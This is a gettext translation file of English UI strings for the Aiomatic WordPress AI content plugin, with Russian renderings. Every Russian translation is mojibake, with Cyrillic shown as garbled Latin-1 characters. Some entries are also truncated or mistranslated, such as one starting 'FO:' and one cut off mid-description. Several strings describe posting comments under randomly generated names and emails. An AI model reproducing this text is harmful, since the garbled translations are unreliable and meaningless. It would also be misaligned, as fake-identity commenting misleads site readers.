"power of AI to streamline your content creation process and enhance the " "quality of your posts. Let's get started!" msgstr "" "Ð’ Ñтом руководÑтве мы раÑÑмотрим каждый шаг ÐаÑтройки и иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтой " "функции, от уÑтановки и активации Плагина до ÐаÑтройки параметров " "автоматичеÑкого и ручного редактированиÑ, Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð¾Ð² и параметров " "Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸, наконец, ÐаÑтройки раÑширенного AI. ÐаÑтройки API Ð´Ð»Ñ " "процеÑÑа редактированиÑ. К концу Ñтого руководÑтва вы Ñможете иÑпользовать " "возможноÑти иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ð¸ процеÑÑа ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "Контента и Ð¿Ð¾Ð²Ñ‹ÑˆÐµÐ½Ð¸Ñ ÐºÐ°Ñ‡ÐµÑтва ваших ПоÑтов. Давайте начнем!" #: res/aiomatic-more.php:39 msgid "" "In this video, I'll take a closer look at how the latest update of Aiomatic " "works and what it can do for you. I'll explore how you can easily post AI-" "generated text to your social media channels, saving you time and effort " "while keeping your followers engaged." msgstr "" "Ð’ Ñтом видео Ñ Ð¿Ð¾Ð´Ñ€Ð¾Ð±Ð½Ð¾ раÑÑкажу о том, как работает поÑледнее обновление " "Aiomatic и чем оно может вам помочь. Я раÑÑкажу, как вы можете легко " "публиковать Ñгенерированный AI текÑÑ‚ в Ñвоих каналах Ñоциальных Ñетей, " "ÑÐºÐ¾Ð½Ð¾Ð¼Ñ Ð²Ð°ÑˆÐµ Ð²Ñ€ÐµÐ¼Ñ Ð¸ уÑилиÑ, ÑохранÑÑ Ð·Ð°Ð¸Ð½Ñ‚ÐµÑ€ÐµÑованноÑÑ‚ÑŒ ваших подпиÑчиков." #: res/aiomatic-more.php:34 msgid "" "In WordPress, taxonomies are used to classify and organize content. They " "allow you to group posts, pages, or custom post types together based on " "shared characteristics. Taxonomies can be hierarchical (like categories) or " "non-hierarchical (like tags). When creating taxonomies in WP, it is " "important to set descriptions for SEO purposes." msgstr "" "Ð’ WordPress такÑономии иÑпользуютÑÑ Ð´Ð»Ñ ÐºÐ»Ð°ÑÑификации и организации контента." " Они позволÑÑŽÑ‚ группировать ÑообщениÑ, Ñтраницы или пользовательÑкие типы " "Ñообщений вмеÑте на оÑнове общих характериÑтик. ТакÑономии могут быть " "иерархичеÑкими (например, категории) или неиерархичеÑкими (например, теги). " "При Ñоздании такÑономий в WP важно задать опиÑÐ°Ð½Ð¸Ñ Ð´Ð»Ñ Ñ†ÐµÐ»ÐµÐ¹ SEO." #: aiomatic-ajax-actions.php:5090 msgid "Incomplete POST request for chat" msgstr "Ðеполный POST-Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ñ‡Ð°Ñ‚Ð°" #: aiomatic-automatic-ai-content-writer.php:22106 aiomatic-streaming.php:47 msgid "Incomplete POST request for chat!" msgstr "Ðеполный POST-Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ñ‡Ð°Ñ‚Ð°!" #: aiomatic-shortcodes-file.php:3628 msgid "Incorrect ai_personas parameter given." msgstr "Указан неверный параметр ai_personas." #: aiomatic-helpers.php:1492 msgid "India" msgstr "ИндиÑ" #: res/aiomatic-amazon-list.php:32 res/aiomatic-main.php:8558 #: res/aiomatic-review-list.php:32 res/aiomatic-rules-list.php:32 #: res/aiomatic-single-list.php:32 res/aiomatic-single-list.php:170 #: res/aiomatic-youtube-list.php:32 msgid "Indonesian" msgstr "индонезийÑкий" #: res/aiomatic-languages.php:30 msgid "Indonesian (Google Translate)" msgstr "ИндонезийÑкий (переводчик Google)" #: res/aiomatic-main.php:8394 res/aiomatic-main.php:8913 msgid "Industry" msgstr "Сфера деÑтельноÑти" #: res/aiomatic-amazon-list.php:286 res/aiomatic-automation-list.php:2607 #: res/aiomatic-csv-list.php:148 res/aiomatic-review-list.php:286 #: res/aiomatic-rules-list.php:296 res/aiomatic-youtube-list.php:286 msgid "Info" msgstr "ИнформациÑ" #: res/aiomatic-main.php:5922 msgid "Info:" msgstr "Инфо:" #: aiomatic-automatic-ai-content-writer.php:710 msgid "" "INFO: Configure AI Writer Prompts in the \"Taxonomy Description Writer\" tab " "from" msgstr "" "ИÐФОРМÐЦИЯ: ÐаÑтройте Промпты AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° вкладке «Создатель ОпиÑÐ°Ð½Ð¸Ñ " "ТакÑономий» из" #: res/aiomatic-main.php:4341 msgid "" "INFO: PhantomJS cannot run - shell exec is not allowed to run on your server " "(in disable_functions list in php.ini). Please enable it and retry using " "this feature of the plugin." msgstr "" "ИÐФОРМÐЦИЯ: PhantomJS не может быть запущен — запуÑк оболочки exec на вашем " "Ñервере запрещен (в ÑпиÑке отключенных_функций в php.ini). ПожалуйÑта, " "включите его и повторите попытку иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтой функции плагина." #: res/aiomatic-main.php:4337 msgid "" "INFO: PhantomJS cannot run - shell exec is not enabled on your server. " "Please enable it and retry using this feature of the plugin." msgstr "" "FO: PhantomJS не может запуÑтитьÑÑ â€” на вашем Ñервере не включена оболочка " "exec. ПожалуйÑта, включите его и повторите попытку иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтой " "функции плагина." #: res/aiomatic-main.php:4333 msgid "" "INFO: PhantomJS not found - please install it on your server or configure " "the path to it in plugin's 'Main Settings'!" msgstr "" "ИÐФОРМÐЦИЯ: PhantomJS не найден — уÑтановите его на Ñвой Ñервер или " "наÑтройте путь к нему в «ОÑновных наÑтройках» плагина!" #: res/aiomatic-main.php:4351 msgid "INFO: PhantomJS OK" msgstr "ИÐФОРМÐЦИЯ: PhantomJS ОК" #: res/aiomatic-main.php:4345 msgid "INFO: PhantomJS Test Successful" msgstr "ИÐФОРМÐЦИЯ: ТеÑÑ‚ PhantomJS прошел уÑпешно" #: res/aiomatic-spinner-list.php:3899 msgid "" "INFO: You can change the way the posts are edited by changing settings in " "the 'Editing Templates and Options' tab from above!" msgstr "" "ИÐФОРМÐЦИЯ: Ð’Ñ‹ можете изменить ÑпоÑоб Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñтов, изменив " "ÐаÑтройки на вкладке «Редактирование шаблонов и параметров» Ñверху!" #: res/aiomatic-embeddings.php:203 res/aiomatic-spinner-list.php:4099 msgid "" "INFO: You can change the way the posts are edited by changing settings in " "the 'Editing Templates and Options' tab from above! Also, be sure to save " "settings before running bulk post editing!" msgstr "" "ИÐФОРМÐЦИЯ: Ð’Ñ‹ можете изменить ÑпоÑоб Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñтов, изменив " "ÐаÑтройки на вкладке «Редактирование шаблонов и параметров» Ñверху! Также не " "забудьте Ñохранить ÐаÑтройки перед маÑÑовым редактированием поÑтов!" #: res/aiomatic-chatbot.php:1406 res/aiomatic-chatbot.php:4503 #| msgid "Inject Chatbot Globally Your Site:" msgid "Inject Chatbot Globally Your To Site:" msgstr "Внедрите Чат-бота на Ñвои Ñайты по вÑему миру:" #: res/aiomatic-single-list.php:3328 res/aiomatic-youtube-list.php:390 #: res/aiomatic-youtube-list.php:2953 #, php-format msgid "" "Input a comma separated list of video captions prefered languages to use for " "the %%video_caption%% shortcode. Please use a comma separated list of 2 " "character language codes. Ex: en,es,hu,br. The plugin will use the fisrt " "language in the list that matches. If you leave this field blank, the " "default language caption will be imported for each video." msgstr "" "Введите через запÑтую ÑпиÑок предпочтительных Ñзыков Ñубтитров Ð´Ð»Ñ " "иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² шорткоде %%video_caption%%. ПожалуйÑта, иÑпользуйте " "разделенный запÑтыми ÑпиÑок из двух Ñимволов Ñзыковых кодов. Пример: en, es, " "hu, br. Плагин будет иÑпользовать первый Ñзык в ÑпиÑке, который " "ÑоответÑтвует. ЕÑли вы оÑтавите Ñто поле пуÑтым, Ñубтитры на Ñзыке по " "умолчанию будут импортированы Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ видео." #: res/aiomatic-spinner-list.php:2723 #, php-format msgid "" "Input a list of e-mails that the plugin will use when submitting comments. " "One per line. If you leave this field empty, a random email will be " "generated. Possible shortcode that can be used here: %%random_sentence%%, " "%%random_sentence2%%" msgstr "" "Введите ÑпиÑок адреÑов Ñлектронной почты, которые Плагин будет иÑпользовать " "при отправке комментариев. По одному на Ñтроку. ЕÑли вы оÑтавите Ñто поле " "пуÑтым, будет Ñгенерировано Ñлучайное Ñлектронное пиÑьмо. Возможный Шорткод, " "который можно иÑпользовать здеÑÑŒ: %%random_sentence%%, %%random_sentence2%% " #: res/aiomatic-spinner-list.php:2744 #, php-format msgid "" "Input a list of URLs that the plugin will use when submitting comments. One " "per line. Possible shortcode that can be used here: %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%" msgstr "" "Введите ÑпиÑок URL-адреÑов, которые Плагин будет иÑпользовать при отправке " "комментариев. По одному на Ñтроку. Возможный Шорткод, который можно " "иÑпользовать здеÑÑŒ: %%post_link%%, %%random_sentence%%, %%random_sentence2%%" #: res/aiomatic-spinner-list.php:2702 #, php-format msgid "" "Input a list of user names that the plugin will use when submitting comments." " One per line. If you leave this field empty, a random name will be " "generated. Possible shortcode that can be used here: %%random_user%%, " "%%author_name%%, %%random_sentence%%, %%random_sentence2%%" msgstr "" "Введите ÑпиÑок имен пользователей, которые Плагин будет иÑпользовать при " "отправке комментариев. По одному на Ñтроку. ЕÑли оÑтавить Ñто поле пуÑтым, " "будет Ñгенерировано Ñлучайное имÑ. Возможный Шорткод, который можно " "иÑпользовать здеÑÑŒ: %%random_user%%, %%author_name%%, %%random_sentence%%, " "%%random_sentence2%%" #: aiomatic-automation.php:650 msgid "Input a post ID" msgstr "Введите ID ПоÑта" #: res/aiomatic-spinner-list.php:4243 msgid "Input a secret word" msgstr "Введите Ñекретное Ñлово" #: res/aiomatic-main.php:4388 msgid "" "Input a separator for multiple content extracted from multiple HTML entities " "that match the same class defined for crawling. Default is a new line." msgstr "" "Введите разделитель Ð´Ð»Ñ Ð½ÐµÑкольких Ñлементов контента, извлеченных из " "неÑкольких объектов HTML, ÑоответÑтвующих одному и тому же клаÑÑу, " "определенному Ð´Ð»Ñ ÐºÑ€Ð°ÑƒÐ»Ð¸Ð½Ð³Ð°. По умолчанию — Ð½Ð¾Ð²Ð°Ñ Ñтрока." #: res/aiomatic-main.php:5848 msgid "Input a valid email adress" msgstr "Введите дейÑтвующий Ð°Ð´Ñ€ÐµÑ Ñлектронной почты" #: res/aiomatic-chatbot.php:1796 res/aiomatic-chatbot.php:3635 msgid "Input Background Color:" msgstr "Цвет фона ввода:" #: res/aiomatic-chatbot.php:1876 res/aiomatic-chatbot.php:3715 msgid "Input Border Color:" msgstr "Цвет границы ввода:" #: res/aiomatic-shortcodes.php:520 msgid "Input Field Count" msgstr "КоличеÑтво Полей Ввода" #: res/aiomatic-shortcodes.php:187 msgid "Input Fields" msgstr "ÐŸÐ¾Ð»Ñ Ð’Ð²Ð¾Ð´Ð°" #: res/aiomatic-main.php:4378 msgid "Input headless browser timeout in milliseconds" msgstr "Введите тайм-аут headless browser в миллиÑекундах." #: res/aiomatic-chatbot.php:1908 res/aiomatic-chatbot.php:3747 msgid "Input Placeholder Color:" msgstr "Цвет Ð·Ð°Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»Ñ Ð²Ð²Ð¾Ð´Ð°:" #: res/aiomatic-main.php:2040 msgid "Input request delay" msgstr "Задержка запроÑа ввода" #: res/aiomatic-main.php:7487 msgid "Input rule timeout in seconds" msgstr "Тайм-аут правила ввода в Ñекундах" #: res/aiomatic-chatbot.php:1892 res/aiomatic-chatbot.php:3731 msgid "Input Text Color:" msgstr "Цвет входного текÑта:" #: res/aiomatic-main.php:4632 msgid "Input the API key for your Amazon S3 client. Details: " msgstr "Введите ключ API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Amazon S3. ПодробноÑти:" #: res/aiomatic-main.php:4816 msgid "" "Input the API key for your CloudFlare R2 client. You can create CloudFlare " "R2 API credentials by clicking the 'Manage R2 API Tokens' link on the right " "of the 'Overview' page from the CloudFlare R2 Control Panel." msgstr "" "Введите ключ API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента CloudFlare R2. Ð’Ñ‹ можете Ñоздать учетные " "данные API CloudFlare R2, щелкнув ÑÑылку «Управление токенами API R2» Ñправа " "на Ñтранице «Обзор» на панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ CloudFlare R2." #: res/aiomatic-main.php:4885 msgid "Input the API key for your Digital Ocean Spaces client. Details: " msgstr "Введите ключ API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Digital Ocean Spaces. ПодробноÑти:" #: res/aiomatic-main.php:4731 msgid "Input the API key for your Wasabi client. Details: " msgstr "Введите ключ API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Wasabi. ПодробноÑти:" #: res/aiomatic-main.php:4648 msgid "Input the API secret for your Amazon S3 client. Details: " msgstr "Введите Ñекрет API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Amazon S3. ПодробноÑти:" #: res/aiomatic-main.php:4832 msgid "" "Input the API secret for your CloudFlare R2 client. You can create " "CloudFlare R2 API credentials by clicking the 'Manage R2 API Tokens' link on " "the right of the 'Overview' page from the CloudFlare R2 Control Panel." msgstr "" "Введите Ñекрет API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента CloudFlare R2. Ð’Ñ‹ можете Ñоздать " "учетные данные API CloudFlare R2, щелкнув ÑÑылку «Управление токенами API " "R2» Ñправа на Ñтранице «Обзор» на панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ CloudFlare R2." #: res/aiomatic-main.php:4901 msgid "Input the API secret for your Digital Ocean Spaces client. Details: " msgstr "" "Введите Ñекрет API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Digital Ocean Spaces. ПодробноÑти:" #: res/aiomatic-main.php:4747 msgid "Input the API secret for your Wasabi client. Details: " msgstr "Введите Ñекрет API Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ клиента Wasabi. ПодробноÑти:" #: res/aiomatic-main.php:4581 msgid "" "Input the bucket name from Amazon S3. You can create your Amazon Bucket, " "here: " msgstr "" "Введите Ð¸Ð¼Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ñ‹ из Amazon S3. Ð’Ñ‹ можете Ñоздать Ñвой Amazon Bucket здеÑÑŒ:" #: res/aiomatic-main.php:4685 msgid "" "Input the Bucket Name from Wasabi - You can create your Wasabi bucket, here: " msgstr "Введите Ð¸Ð¼Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ñ‹ из Wasabi. Ð’Ñ‹ можете Ñоздать корзину Wasabi здеÑÑŒ:" #: res/aiomatic-main.php:4597 msgid "Input the bucket region from Amazon S3." msgstr "Введите регион корзины из Amazon S3." #: res/aiomatic-main.php:4701 msgid "Input the bucket region from Wasabi." msgstr "Введите регион корзины из Wasabi." #: res/aiomatic-main.php:5839 msgid "" "Input the email adress where you want to send the report. You can input more " "email addresses, separated by commas." msgstr "" "Введите Ð°Ð´Ñ€ÐµÑ Ñлектронной почты, куда вы хотите отправить отчет. Ð’Ñ‹ можете " "ввеÑти больше адреÑов Ñлектронной почты, Разделенных запÑтыми." #: res/aiomatic-main.php:9488 msgid "Input the keyword to be replaced. This field is required" msgstr "Введите ключевое Ñлово Ð´Ð»Ñ Ð·Ð°Ð¼ÐµÐ½Ñ‹. Это поле обÑзательно к заполнению" #: res/aiomatic-main.php:4869 msgid "" "Input the Origin Endpoint from Digital Ocean Spaces. This should be in the " "following format: https://..digitaloceanspaces." "com - You can create your Digital Ocean Spaces bucket, here: " msgstr "" "Введите иÑходную конечную точку из Digital Ocean Spaces. Он должен быть в " "Ñледующем формате: https://.." "digitaloceanspaces.com. Ð’Ñ‹ можете Ñоздать Ñвой Ñегмент Digital Ocean Spaces " "здеÑÑŒ:" #: res/aiomatic-main.php:9489 msgid "Input the replacement word" msgstr "Введите Ñлово замены" #: aiomatic-automation.php:211 msgid "Input the search query for full content searching" msgstr "Введите поиÑковый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»Ð½Ð¾Ð³Ð¾ поиÑка контента" #: aiomatic-automation.php:212 msgid "" "Input the search query for full content searching. This can be the ID or " "class name you want to search for, the regex expression you want to apply or " "the XPath/CSS Selector Expression you want to query for. You can also enter " "a comma separated list of selectors, in this case, the plugin will get the " "results for all. If you leave this field blank, content will be " "automatically detected for you. Multiple expressions supported, each on a " "different line." msgstr "" "Введите поиÑковый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»Ð½Ð¾Ð³Ð¾ поиÑка контента. Это может быть " "идентификатор или Ð¸Ð¼Ñ ÐºÐ»Ð°ÑÑа, который вы хотите найти, выражение регулÑрного " "выражениÑ, которое вы хотите применить, или выражение Ñелектора XPath/CSS, " "которое вы хотите запроÑить. Ð’Ñ‹ также можете ввеÑти ÑпиÑок Ñелекторов через " "запÑтую, в Ñтом Ñлучае плагин получит результаты Ð´Ð»Ñ Ð²Ñех. ЕÑли вы оÑтавите " "Ñто поле пуÑтым, контент будет обнаружен автоматичеÑки. ПоддерживаетÑÑ " "неÑколько выражений, каждое на отдельной Ñтроке." #: res/aiomatic-spinner-list.php:4073 msgid "" "Input the tags for which you want to disable editing. You can enter more " "tags, separated by comma. Ex: cars, vehicles, red, luxury. To disable this " "feature, leave this field blank." msgstr "" "Введите теги, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… вы хотите отключить редактирование. Ð’Ñ‹ можете " "ввеÑти больше тегов, Разделенных запÑтой. Ðапример: автомобили, транÑпортные " "ÑредÑтва, краÑный Цвет, роÑкошь. Чтобы отключить Ñту функцию, оÑтавьте Ñто " "поле пуÑтым." #: res/aiomatic-main.php:9490 msgid "Input the URL to be added" msgstr "Введите URL Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ" #: res/aiomatic-main.php:7446 msgid "Input web proxy auth" msgstr "Введите Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð²ÐµÐ±-прокÑи" #: res/aiomatic-main.php:7427 msgid "Input web proxy url" msgstr "Введите URL веб-прокÑи" #: res/aiomatic-main.php:4784 msgid "" "Input your Account ID from CloudFlare R2. You can create CloudFlare R2 " "account ID by copying the ID from the right of the 'Overview' page from the " "CloudFlare R2 Control Panel." msgstr "" "Введите идентификатор Ñвоей учетной запиÑи из CloudFlare R2. Ð’Ñ‹ можете " "Ñоздать идентификатор учетной запиÑи CloudFlare R2, Ñкопировав идентификатор " "Ñправа на Ñтранице «Обзор» на панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ CloudFlare R2." #: res/aiomatic-main.php:1580 msgid "" "Input your API key in the 'OpenAI / AiomaticAPI API Keys (One Per Line)' " "settings field and hit the Save button." msgstr "" "Введите Ñвой ключ API в поле ÐаÑтроек «Ключи API OpenAI / AiomaticAPI (по " "одному на Ñтроку)» и нажмите кнопку «Сохранить»." #: res/aiomatic-main.php:4800 msgid "Input your CloudFlare R2 Bucket Name. " msgstr "Введите Ð¸Ð¼Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ñ‹ CloudFlare R2." #: res/aiomatic-rules-list.php:230 res/aiomatic-single-list.php:993 msgid "" "Input your desired post titles (one per line), a TXT file with titles (one " "per line) or a RSS feed URL. The plugin will select a random post title at " "each run. Nested spintax supported. You can also enter RSS feed URLs, from " "where the plugin will extract a random post title, each time it runs. If you " "set a RSS feed URL, an item will be randomly selected from the " "title/description/content of the RSS feed contents - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите желаемые заголовки ПоÑтов (по одному на Ñтроку), TXT-файл Ñ " "заголовками (по одному на Ñтроку) или URL-Ð°Ð´Ñ€ÐµÑ RSS-канала. Плагин будет " "выбирать Ñлучайный Заголовок ПоÑÑ‚Ñ‹ при каждом запуÑке. ПоддерживаетÑÑ " "вложенный ÑпинтакÑ. Ð’Ñ‹ также можете ввеÑти URL-адреÑа RSS-каналов, откуда " "Плагин будет извлекать Ñлучайный Заголовок ПоÑÑ‚Ñ‹ при каждом запуÑке. ЕÑли вы " "уÑтановите URL-Ð°Ð´Ñ€ÐµÑ RSS-канала, Ñлемент будет выбран Ñлучайным образом из " "заголовка." #: aiomatic-automation.php:489 aiomatic-automation.php:525 #: aiomatic-automation.php:579 msgid "Input your text" msgstr "Введите текÑÑ‚" #: res/aiomatic-amazon-list.php:1730 res/aiomatic-amazon-list.php:4317 #: res/aiomatic-review-list.php:1799 res/aiomatic-review-list.php:4470 #: res/aiomatic-rules-list.php:1928 res/aiomatic-rules-list.php:4706 #: res/aiomatic-youtube-list.php:1686 res/aiomatic-youtube-list.php:4228 #, php-format msgid "" "Insert a comma separated list of links to valid images that will be set " "randomly for the featured image for the posts that do not have a valid image " "attached or if you disabled automatical featured image generator. You can " "also use image numeric IDs from images found in the Media Gallery. To " "disable this feature, leave this field blank. Spintax supported. You can " "also use the %%random_image[keyword]%% shortcode to automatically import a " "random image from Google Image Search with the Creative Commons filter " "applied. To get a related image, you can also use: " "%%random_image[%%post_title%%]%%" msgstr "" "Ð’Ñтавьте Разделенный запÑтыми ÑпиÑок ÑÑылок на дейÑтвительные изображениÑ, " "которые будут Ñлучайным образом уÑтановлены Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ " "ПоÑтов, к которым не прикреплено дейÑтвительное изображение, или еÑли вы " "отключили автоматичеÑкий Генератор избранных изображений. Ð’Ñ‹ также можете " "иÑпользовать чиÑловые идентификаторы изображений из изображений, найденных в " "галерее мультимедиа. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. " "Ð¡Ð¿Ð¸Ð½Ñ‚Ð°ÐºÑ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÑ‚ÑÑ. Ð’Ñ‹ также можете иÑпользовать короткий код " "%%random_image[keyword]%% Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого импорта Ñлучайного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ " "из Google Image Search Ñ Ð¿Ñ€Ð¸Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ фильтром Creative Commons. Чтобы " "получить ÑвÑзанное изображение, вы также можете иÑпользовать: " "%%random_image[%%post_title%%]%%." #: res/aiomatic-main.php:9065 #, php-format msgid "" "Insert a custom HTML code that will replace the %%custom_html%% variable. " "This can be anything, even an Ad code." msgstr "" "Ð’Ñтавьте пользовательÑкий HTML-код, который заменит %%custom_html%% " "переменнаÑ. Это может быть что угодно, даже рекламный код." #: res/aiomatic-main.php:9083 #, php-format msgid "" "Insert a custom HTML code that will replace the %%custom_html2%% variable. " "This can be anything, even an Ad code." msgstr "" "Ð’Ñтавьте пользовательÑкий HTML-код, который заменит %%custom_html2%% " "переменнаÑ. Это может быть что угодно, даже рекламный код." #: res/aiomatic-main.php:9002 res/aiomatic-main.php:9020 #, php-format msgid "" "Insert some sentences from which you want to get one at random. You can also " "use variables defined below. %something ==> is a variable. Each sentence " "must be separated by a new line." msgstr "" "Введите неÑколько предложений, из которых вы хотите получить одно наугад. Ð’Ñ‹ " "также можете иÑпользовать переменные, определенные ниже. %something ==>" "Ð¿ÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ ÐšÐ°Ð¶Ð´Ð¾Ðµ предложение должно быть отделено новой Ñтрокой." #: res/aiomatic-main.php:9038 msgid "" "Insert some variables you wish to be exchanged for different instances of " "one sentence. Please format this list as follows:
                    \n" " Variablename => Variables (seperated by " "semicolon)
                    Example:
                    adjective => clever;interesting;smart;huge;" "astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;" "magnificent;helpful;awesome
                    " msgstr "" "Ð’Ñтавьте некоторые переменные, которые вы хотите обменÑÑ‚ÑŒ на различные " "ÑкземплÑры одного предложениÑ. Отформатируйте Ñтот ÑпиÑок выглÑдит Ñледующим " "образом:
                    \n" " VariableName => Переменные (Разделенные " "точкой Ñ Ð·Ð°Ð¿Ñтой)
                    пример:
                    adjective => clever;interesting;smart;huge;" "astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;" "magnificent;helpful;awesome
                    " #: aiomatic-automation.php:414 aiomatic-automation.php:445 msgid "Insert your Amazon Associate ID" msgstr "Введите Ñвой идентификатор партнера Amazon" #: aiomatic-automation.php:415 aiomatic-automation.php:446 msgid "Insert your Amazon Associate ID (Optional)." msgstr "Введите Ñвой идентификатор партнера Amazon (необÑзательно)." #: res/aiomatic-amazon-list.php:390 res/aiomatic-amazon-list.php:2986 #: res/aiomatic-review-list.php:390 res/aiomatic-review-list.php:3063 #: res/aiomatic-single-list.php:4598 res/aiomatic-single-list.php:5895 #, php-format msgid "" "Insert your Amazon Associate ID (Optional). Learn how to get one here. Also, you need to sign up for Amazon " "Affiliate program here." msgstr "" "Введите Ñвой идентификатор партнера Amazon (необÑзательно). Узнайте, как " "получить его здеÑÑŒ. Также вам необходимо " "зарегиÑтрироватьÑÑ Ð² партнерÑкой программе Amazon здеÑÑŒ." #: res/aiomatic-main.php:1844 #, php-format msgid "" "Insert your API Keys (one per line). For OpenAI API, get your API key here. For AiomaticAPI, get your API key here. For Azure, get your API key here." msgstr "" "Ð’Ñтавьте Ñвои ключи API (по одному на Ñтроку). Ð”Ð»Ñ OpenAI API получите ключ " "API здеÑÑŒ. Ð”Ð»Ñ AiomaticAPI получите ключ " "API здеÑÑŒ. Ð”Ð»Ñ Azure получите ключ API здеÑÑŒ." #: res/aiomatic-main.php:1820 #, php-format msgid "" "Insert your Azure OpenAI API deployment name for %s model. Create one in the " "Microsoft Azure Services panel." msgstr "" "Ð’Ñтавьте Ð¸Ð¼Ñ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Azure OpenAI API Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»Ð¸ %s. Создайте его в " "панели Microsoft Azure Services." #: res/aiomatic-main.php:1797 #, php-format msgid "" "Insert your Azure OpenAI API endpoint. Get one in the Microsoft Azure Services panel." msgstr "" "Ð’Ñтавьте конечную точку Azure OpenAI API. Получите один на панели Ñлужб Microsoft Azure." #: res/aiomatic-main.php:2203 #, php-format msgid "" "Insert your D-ID API Key. For D-ID API, get your API key here. This is used for the Chatbot text to video feature." msgstr "" "Ð’Ñтавьте Ñвой API-ключ D-ID. Ð”Ð»Ñ D-ID API получите ключ APIздеÑÑŒ. Это иÑпользуетÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ " "текÑта в видео чат-бота." #: res/aiomatic-main.php:2158 #, php-format msgid "" "Insert your ElevenLabs API Key. For ElevenLabs API, get your API key here. This is used for the Chatbot text to " "speech feature." msgstr "" "Ð’Ñтавьте Ñвой API-ключ ElevenLabs. Ð”Ð»Ñ ElevenLabs API получите ключ API здеÑÑŒ. Это иÑпользуетÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ " "Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь чат-бота." #: res/aiomatic-main.php:8063 #, php-format msgid "" "Insert your Flickr App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you " "will enable search for images using the Flickr API." msgstr "" "Ð’Ñтавьте Ñвой идентификатор Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Flickr. Узнайте, как получить ключ " "API здеÑÑŒ.ЕÑли вы введете API Key и API " "Secret, вы включите поиÑк изображений Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Flickr API." #: res/aiomatic-main.php:2180 #, php-format msgid "" "Insert 